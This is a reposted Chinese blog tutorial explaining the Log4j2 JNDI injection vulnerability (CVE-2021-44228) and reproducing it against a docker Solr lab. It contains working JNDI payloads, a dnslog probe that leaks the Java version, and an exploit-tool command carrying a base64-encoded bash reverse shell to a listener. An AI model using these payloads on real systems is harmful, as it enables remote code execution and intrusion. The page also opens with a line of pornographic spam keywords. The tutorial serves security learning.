国产 无码 综合区,色欲AV无码国产永久播放,无码天堂亚洲国产AV,国产日韩欧美女同一区二区

JAVA安全之Log4j-Jndi注入原理以及利用方式

這篇具有很好參考價(jià)值的文章主要介紹了JAVA安全之Log4j-Jndi注入原理以及利用方式。希望對(duì)大家有所幫助。如果存在錯(cuò)誤或未考慮完全的地方,請(qǐng)大家不吝賜教,您也可以點(diǎn)擊"舉報(bào)違法"按鈕提交疑問。

什么是JNDI?

JDNI(Java Naming and Directory Interface)是Java命名和目錄接口,它提供了統(tǒng)一的訪問命名和目錄服務(wù)的API。

JDNI主要通過JNDI SPI(Service Provider Interface)規(guī)范來實(shí)現(xiàn),該規(guī)范定義了對(duì)JNDI提供者應(yīng)實(shí)現(xiàn)的接口。在JNDI體系中,JNDI提供者是指實(shí)際提供命名和目錄服務(wù)的軟件組件。JNDI SPI規(guī)范包含了多個(gè)接口,其中最為重要的是Context接口。

Context接口是一個(gè)通用的上下文接口,它定義了在某個(gè)環(huán)境中執(zhí)行命名和目錄操作的方法。在JNDI中,上下文環(huán)境通常是由JNDI提供者所定義的,它可以是本地的、遠(yuǎn)程的、文件系統(tǒng)的、LDAP的等等。

通過使用JDNI,Java應(yīng)用程序可以訪問各種不同類型的命名和目錄服務(wù),如文件系統(tǒng)、LDAP、DNS等。這樣,Java應(yīng)用程序能夠輕松地與各種不同類型的資源進(jìn)行交互,而無需關(guān)心底層的細(xì)節(jié)實(shí)現(xiàn)。

JNDI目前所支持的技術(shù)包括?

JNDI(Java Naming and Directory Interface)是一個(gè)通用的命名和目錄服務(wù)接口,可以與多種技術(shù)進(jìn)行集成。以下是一些目前JNDI所支持的技術(shù):

  1. 文件系統(tǒng):JNDI可以與文件系統(tǒng)集成,允許通過文件路徑來訪問和管理命名和目錄信息。

  2. LDAP(輕量級(jí)目錄訪問協(xié)議):JNDI提供了對(duì)LDAP服務(wù)器的支持,可用于訪問和管理LDAP目錄,如Active Directory等。

  3. DNS(域名系統(tǒng)):JNDI可以與DNS集成,使Java應(yīng)用程序能夠通過域名訪問和管理命名和目錄信息。

  4. RMI(遠(yuǎn)程方法調(diào)用):JNDI可以與RMI集成,允許使用RMI注冊(cè)表來查找和訪問遠(yuǎn)程對(duì)象。

  5. CORBA(公共對(duì)象請(qǐng)求代理體系結(jié)構(gòu)):JNDI提供了與CORBA命名服務(wù)的集成,以便訪問和管理CORBA對(duì)象。

  6. EJB(企業(yè)JavaBean):JNDI可以與EJB容器集成,用于查找和獲取遠(yuǎn)程EJB對(duì)象的引用。

  7. JMS(Java消息服務(wù)):JNDI可以與JMS集成,允許查找和訪問JMS連接工廠、隊(duì)列和主題等消息相關(guān)的資源。

需要注意的是,JNDI可以通過自定義擴(kuò)展來支持其他類型的命名和目錄服務(wù),只要相應(yīng)的JNDI提供者實(shí)現(xiàn)了所需的SPI接口。因此,JNDI的支持范圍可以通過自定義擴(kuò)展進(jìn)行擴(kuò)展和定制。

簡(jiǎn)單來說:通過JNDI提供了"通過名稱找到對(duì)應(yīng)的對(duì)象"的規(guī)范定義

參考文章【精選】Log4j2注入漏洞(CVE-2021-44228)萬字深度剖析(一)—開篇與基礎(chǔ)知識(shí)_ove-2021-44228_程序員Daddy的博客-CSDN博客文章瀏覽閱讀6.9k次,點(diǎn)贊3次,收藏23次。本文將和大家一起對(duì)Log4j2的漏洞進(jìn)行全面深入的剖析。我們將從如下幾個(gè)方面進(jìn)行講解。1、Log4j2漏洞的基本原理 2、Log4j2漏洞在Java高低版本中的不同攻擊原理 3、Log4j2漏洞在Java高低版本中的攻擊步驟 4、Log4j2漏洞在2.15.0-RC1中被繞過的原因 5、Log4j2最終修復(fù)方案(2.15.0)的原理_ove-2021-44228https://blog.csdn.net/hilaryfrank/article/details/121920264

LDAN原理

目錄服務(wù)是一個(gè)特殊的數(shù)據(jù)庫(kù),用來保存描述性的、基于屬性的詳細(xì)信息,支持過濾功能。

LDAP(Light Directory Access Portocol),它是基于X.500標(biāo)準(zhǔn)的輕量級(jí)目錄訪問協(xié)議。

目錄是一個(gè)為查詢、瀏覽和搜索而優(yōu)化的數(shù)據(jù)庫(kù),它成樹狀結(jié)構(gòu)組織數(shù)據(jù),類似文件目錄一樣。目錄數(shù)據(jù)庫(kù)和關(guān)系數(shù)據(jù)庫(kù)不同,它有優(yōu)異的讀性能,但寫性能差,并且沒有事務(wù)處理、回滾等復(fù)雜功能,不適于存儲(chǔ)修改頻繁的數(shù)據(jù)。所以目錄天生是用來查詢的,就好象它的名字一樣。

LDAP目錄服務(wù)是由目錄數(shù)據(jù)庫(kù)和一套訪問協(xié)議組成的系統(tǒng)

Log4j2漏洞介紹

Log4j2默認(rèn)支持解析ldap/rmi協(xié)議(只要打印的日志中包括ldap/rmi協(xié)議即可),并會(huì)通過名稱從ldap服務(wù)端獲取對(duì)應(yīng)的Class文件,使用ClassLoader在本地加載Ldap服務(wù)端返回的Class類。這就為攻擊者提供了攻擊途徑,攻擊者可以在界面?zhèn)魅胍粋€(gè)包含惡意內(nèi)容(會(huì)提供一個(gè)惡意的Class文件)的ldap協(xié)議內(nèi)容(如:惡意內(nèi)容${jndi:ldap://localhost:9999/Test}惡意內(nèi)容),該內(nèi)容傳遞到后端被log4j2打印出來,就會(huì)觸發(fā)惡意的Class的加載執(zhí)行(可執(zhí)行任意后臺(tái)指令),從而達(dá)到攻擊的目的。

javaCopy Codeimport org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
?
public class Log4jExample {
 ? ?// 獲取Logger對(duì)象,參數(shù)為當(dāng)前類名
 ? ?private static final Logger logger = LogManager.getLogger(Log4jExample.class);
?
 ? ?public static void main(String[] args) {
 ? ? ? ?// 示例日志輸出
 ? ? ? ?logger.trace("Trace 級(jí)別日志");
 ? ? ? ?logger.debug("Debug 級(jí)別日志");
 ? ? ? ?logger.info("Info 級(jí)別日志");
 ? ? ? ?logger.warn("Warn 級(jí)別日志");
 ? ? ? ?logger.error("Error 級(jí)別日志");
 ? ? ? ?logger.fatal("Fatal 級(jí)別日志");
 ?  }
}

${}這是一個(gè)表達(dá)式,我們可以利用表達(dá)是輸出用戶信息,當(dāng)前時(shí)間等。

重要的是運(yùn)用表達(dá)式我們就可以使用jndi協(xié)議了,例如${jndi:ldap://localhost:9999/Test} ,利用jndi請(qǐng)求地址為//localhost:9999的ldap服務(wù),查找內(nèi)容Test。

你怎么說//localhost:9999是一個(gè)ladp的服務(wù)呢!也許人家就是一個(gè)普通的地址呢!沒錯(cuò)這里客戶端也沒法判定,也是在請(qǐng)求完之后判定的,這里輸入dns的地址會(huì)解析嗎?會(huì),可以利用這個(gè)特點(diǎn)打下dnslog請(qǐng)求,初步確定漏洞。 ?

關(guān)于漏洞理解

(筆者之見)

JNDI是一個(gè)集大成者(多種技術(shù)進(jìn)行集成體),

其中LDAP為目錄服務(wù),利用萬物皆對(duì)象的觀點(diǎn),這里萬物皆目錄,或許是你的數(shù)據(jù)庫(kù),一個(gè)java對(duì)象,接口,或windows的c盤,注冊(cè)表這些在ldap中都可能只是一個(gè)普通的目錄。作為用戶我們只需輸入對(duì)應(yīng)的目錄名LDAP服務(wù)端便可返回響應(yīng)結(jié)果。

假設(shè)我們用ldap服務(wù)查找某個(gè)對(duì)象。服務(wù)端返回什么?應(yīng)該返回該對(duì)象對(duì)應(yīng)的類吧!—— 這里就牽扯到了java對(duì)象的傳輸,對(duì)象的傳輸是java中非常會(huì)引發(fā)漏洞的地方、真實(shí)情況是服務(wù)端會(huì)返回類或類的地址,這時(shí)客服端怎么處理?加載類?目的是得到對(duì)象,所以本地類加載,通過反射,構(gòu)造器的方法得到響應(yīng)對(duì)象?

攻擊原理圖

整個(gè)攻擊原理和流程如下圖所示

jndi payload,java代碼審計(jì),網(wǎng)絡(luò)攻擊復(fù)現(xiàn),滲透測(cè)試_靶機(jī)實(shí)戰(zhàn),java,安全,log4j

注意looup這個(gè)方法,這個(gè)是請(qǐng)求ldap服務(wù)的入口。

請(qǐng)求ldap的參數(shù)可控意味著請(qǐng)求的ldap的服務(wù)器也可控,作為攻擊者我們可以偽造一個(gè)ldap服務(wù)器。

這時(shí)是不是返回的內(nèi)容也可控了,如果返回正常的字符串,log4j是不是就正常打印處理了。但如果我們返回的是一個(gè)惡意類的地址,作為發(fā)起請(qǐng)求的客戶端收到這個(gè)地址會(huì)如何處理呢?也許就是觸發(fā)了這個(gè)機(jī)制(開發(fā)人員沒有想過這樣的惡意類加載),客戶端得到類的地址試圖得到這個(gè)類(下載到本地)進(jìn)行對(duì)象化。這樣就必然會(huì)執(zhí)行攻擊者在類中提前設(shè)置的惡意代碼。

Codebase就是存儲(chǔ)代碼或者編譯文件的服務(wù)。其可以根據(jù)名稱返回對(duì)應(yīng)的代碼或者編譯文件,如果根據(jù)類名,提供類對(duì)應(yīng)的Class文件。這里是請(qǐng)求下載了惡意的.class文件

具體的源碼流程分析,還是推薦看以下大佬的萬字文章,真的很詳細(xì)

【精選】Log4j2注入漏洞(CVE-2021-44228)萬字深度剖析(二)—漏洞原理_log4j2漏洞-CSDN博客

?Log4j2漏洞復(fù)現(xiàn)

啟用docker靶場(chǎng)環(huán)境

jndi payload,java代碼審計(jì),網(wǎng)絡(luò)攻擊復(fù)現(xiàn),滲透測(cè)試_靶機(jī)實(shí)戰(zhàn),java,安全,log4j

?訪問web頁(yè)面

漏洞地址:/solr/admin/cores?action=

jndi payload,java代碼審計(jì),網(wǎng)絡(luò)攻擊復(fù)現(xiàn),滲透測(cè)試_靶機(jī)實(shí)戰(zhàn),java,安全,log4j

payload準(zhǔn)備

${jndi:ldap://id4cba.dnslog.cn}

?jndi payload,java代碼審計(jì),網(wǎng)絡(luò)攻擊復(fù)現(xiàn),滲透測(cè)試_靶機(jī)實(shí)戰(zhàn),java,安全,log4j

查看dnslog平臺(tái)是否正確解析

jndi payload,java代碼審計(jì),網(wǎng)絡(luò)攻擊復(fù)現(xiàn),滲透測(cè)試_靶機(jī)實(shí)戰(zhàn),java,安全,log4j

payload準(zhǔn)備中間在插入表達(dá)式

${jndi:ldap://${sys:java.version}.id4cba.dnslog.cn}

jndi payload,java代碼審計(jì),網(wǎng)絡(luò)攻擊復(fù)現(xiàn),滲透測(cè)試_靶機(jī)實(shí)戰(zhàn),java,安全,log4j

獲取反彈shell

漏洞利用需要用到ldap服務(wù)器,這里我們還是用工具一把梭哈。

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxOC4xLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "192.168.218.1"

準(zhǔn)備的執(zhí)行命令是bash -i >& /dev/tcp/192.168.218.1/4444 0>&1,仍然用base編碼的方式執(zhí)行

jndi payload,java代碼審計(jì),網(wǎng)絡(luò)攻擊復(fù)現(xiàn),滲透測(cè)試_靶機(jī)實(shí)戰(zhàn),java,安全,log4j

ok將ldap輸入過去,同時(shí)nc監(jiān)聽本地端口4444

${jndi:ldap://192.168.218.1:1389/jq0hse}

jndi payload,java代碼審計(jì),網(wǎng)絡(luò)攻擊復(fù)現(xiàn),滲透測(cè)試_靶機(jī)實(shí)戰(zhàn),java,安全,log4j

查看反彈shell信息

jndi payload,java代碼審計(jì),網(wǎng)絡(luò)攻擊復(fù)現(xiàn),滲透測(cè)試_靶機(jī)實(shí)戰(zhàn),java,安全,log4j

正確返回了shell

總結(jié)

大佬畫的原理圖很經(jīng)典,建立多看看。也建議用maven建立工程,多調(diào)試調(diào)試驗(yàn)證驗(yàn)證自己的猜想。

?文章來源地址http://www.zghlxwxcb.cn/news/detail-805843.html

到了這里,關(guān)于JAVA安全之Log4j-Jndi注入原理以及利用方式的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!

本文來自互聯(lián)網(wǎng)用戶投稿,該文觀點(diǎn)僅代表作者本人,不代表本站立場(chǎng)。本站僅提供信息存儲(chǔ)空間服務(wù),不擁有所有權(quán),不承擔(dān)相關(guān)法律責(zé)任。如若轉(zhuǎn)載,請(qǐng)注明出處: 如若內(nèi)容造成侵權(quán)/違法違規(guī)/事實(shí)不符,請(qǐng)點(diǎn)擊違法舉報(bào)進(jìn)行投訴反饋,一經(jīng)查實(shí),立即刪除!

領(lǐng)支付寶紅包贊助服務(wù)器費(fèi)用

相關(guān)文章

  • Log4j反序列化命令執(zhí)行漏洞(CVE-2017-5645)&Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)

    Log4j反序列化命令執(zhí)行漏洞(CVE-2017-5645)&Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)

    Apache Log4j是一個(gè)用于Java的日志記錄庫(kù),其支持啟動(dòng)遠(yuǎn)程日志服務(wù)器。Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞。攻擊者可利用該漏洞執(zhí)行任意代碼 環(huán)境:vulhub 工具下載地址: ysoserial 利用工具生成payload: 1.創(chuàng)建文件 進(jìn)入容器內(nèi)部,查看文件創(chuàng)建成功 2.查看反彈的shell 有點(diǎn)

    2024年02月11日
    瀏覽(37)
  • Log4j2注入漏洞(CVE-2021-44228)萬字深度剖析(二)—漏洞原理

    Log4j2注入漏洞(CVE-2021-44228)萬字深度剖析(二)—漏洞原理

    2.15.0之前版漏洞相關(guān)文章 Log4j2注入漏洞(CVE-2021-44228)萬字深度剖析(一)—開篇與基礎(chǔ)知識(shí) Log4j2注入漏洞(CVE-2021-44228)萬字深度剖析(二)—漏洞原理 Log4j2注入漏洞(CVE-2021-44228)萬字深度剖析(三)—復(fù)現(xiàn)步驟(攻擊方法) Log4j2注入漏洞(CVE-2021-44228)萬字深度剖析(四)—漏洞修復(fù)原理 2.15.

    2024年02月07日
    瀏覽(47)
  • Web網(wǎng)絡(luò)安全-----Log4j高危漏洞原理及修復(fù)

    Web網(wǎng)絡(luò)安全-----Log4j高危漏洞原理及修復(fù)

    Web網(wǎng)絡(luò)安全-----紅藍(lán)攻防之信息收集 Log4j 即 log for java(java的日志) ,是Apache的一個(gè)開源項(xiàng)目,通過使用Log4j,我們可以控制日志信息輸送的目的地是控制臺(tái)、文件、GUI組件,甚至是套接口服務(wù)器、NT的事件記錄器、UNIX Syslog守護(hù)進(jìn)程等;我們也可以控制每一條日志的輸出格式;

    2024年02月10日
    瀏覽(24)
  • 【java安全】Log4j反序列化漏洞

    【java安全】Log4j反序列化漏洞

    關(guān)于Apache Log4j Log4j是Apache的開源項(xiàng)目,可以實(shí)現(xiàn)對(duì)System.out等打印語(yǔ)句的替代,并且可以結(jié)合spring等項(xiàng)目,實(shí)現(xiàn)把日志輸出到控制臺(tái)或文件等。而且它還可以通過一個(gè)配置文件來靈活地進(jìn)行配置,而不需要修改應(yīng)用的代碼,滿足了大多數(shù)要求。 就是用來打印日志的 漏洞成因

    2024年02月11日
    瀏覽(24)
  • 安全學(xué)習(xí)_開發(fā)相關(guān)_Java第三方組件Log4j&FastJSON及相關(guān)安全問題簡(jiǎn)介

    安全學(xué)習(xí)_開發(fā)相關(guān)_Java第三方組件Log4j&FastJSON及相關(guān)安全問題簡(jiǎn)介

    Java Naming and Directory Interface (Java 命名和目錄接口 ),JNDI 提供統(tǒng)一的客戶端 API,通過不同的服務(wù)供應(yīng)接口(SPI)的實(shí)現(xiàn),由管理者將 JNDI API 映射為特定的命名服務(wù)和目錄服務(wù),使得 JAVA 應(yīng)用程可以通過 JNDI 實(shí)現(xiàn)和這些命名服務(wù)和目錄服務(wù)之間的交互。 Log4J: Apache的一個(gè)開源項(xiàng)目

    2024年02月05日
    瀏覽(56)
  • log4j漏洞原理及攻擊流程

    log4j漏洞原理及攻擊流程

    log4j漏洞最早出現(xiàn)在2021年11月24日一位阿里安全團(tuán)隊(duì)的員工發(fā)現(xiàn)的,上報(bào)到Apache之后,12月10日凌晨才被公開。該漏洞威脅等級(jí)較高?;颈燃缗c阿里當(dāng)年的fastjson漏洞。 漏洞地址: Log4j是一種流行的Java日志記錄工具,其升級(jí)版本Log4j 2存在安全漏洞。這個(gè)漏洞是由Log4j 2的lookup功

    2024年02月16日
    瀏覽(26)
  • 網(wǎng)絡(luò)安全 log4j漏洞復(fù)現(xiàn)

    網(wǎng)絡(luò)安全 log4j漏洞復(fù)現(xiàn)

    前言: log4j被爆出“史詩(shī)級(jí)”漏洞。其危害非常大,影響非常廣。該漏洞非常容易利用,可以執(zhí)行任意代碼。這個(gè)漏洞的影響可謂是重量級(jí)的。 漏洞描述: 由于Apache Log4j存在遞歸解析功能,未取得身份認(rèn)證的用戶,可以從遠(yuǎn)程發(fā)送數(shù)據(jù)請(qǐng)求輸入數(shù)據(jù)日志,輕松觸發(fā)漏洞,最

    2024年02月09日
    瀏覽(26)
  • Java中的Log4j是什么?如何使用Log4j進(jìn)行日志管理

    Log4j是一個(gè)Java日志管理工具,它可以幫助開發(fā)者在應(yīng)用程序中記錄日志。它是由Apache軟件基金會(huì)開發(fā)和維護(hù)的,已經(jīng)成為Java開發(fā)中最流行的日志管理框架之一。 Log4j可以通過多種方式記錄日志,包括控制臺(tái)輸出、文件輸出、數(shù)據(jù)庫(kù)存儲(chǔ)等。此外,Log4j還提供了多種日志級(jí)別,

    2024年02月04日
    瀏覽(34)
  • Java日志框架JUL、Log4j、logback、log4j2使用

    Java日志框架JUL、Log4j、logback、log4j2使用

    隨著軟件系統(tǒng)的發(fā)展系統(tǒng)業(yè)務(wù)越來越多、邏輯越來越復(fù)雜、代碼量越來越多,伴隨著容易出現(xiàn)的bug也會(huì)越來越多,不論是開發(fā)測(cè)試階段還是生產(chǎn)階段都需要將這些錯(cuò)誤及時(shí)的捕捉記錄下來,方便解決這些問題,否則針對(duì)出現(xiàn)的異常無從下手;此時(shí)就需要一些日志框架來完成這

    2024年02月15日
    瀏覽(20)
  • log4j2漏洞原理和漏洞環(huán)境搭建復(fù)現(xiàn)

    log4j2漏洞原理和漏洞環(huán)境搭建復(fù)現(xiàn)

    目錄 1.背景 1.1影響版本 2.漏洞原理 2.1JNDI是什么 2.2LDAP是什么 2.3JNDI注入原因 2.4 log4j2是什么 3.漏洞復(fù)現(xiàn) 3.1準(zhǔn)備工作 3.1.1準(zhǔn)備惡意代碼 3.1.2將惡意代碼放到網(wǎng)站目錄下 3.1.3 LDAP服務(wù)器端 3.1.4客戶端搭建 3.1.5 執(zhí)行代碼 ?4.注意事項(xiàng) 部分資源在文章最后百度網(wǎng)盤 2021年11月24日,阿里

    2024年02月05日
    瀏覽(28)

覺得文章有用就打賞一下文章作者

支付寶掃一掃打賞

博客贊助

微信掃一掃打賞

請(qǐng)作者喝杯咖啡吧~博客贊助

支付寶掃一掃領(lǐng)取紅包,優(yōu)惠每天領(lǐng)

二維碼1

領(lǐng)取紅包

二維碼2

領(lǐng)紅包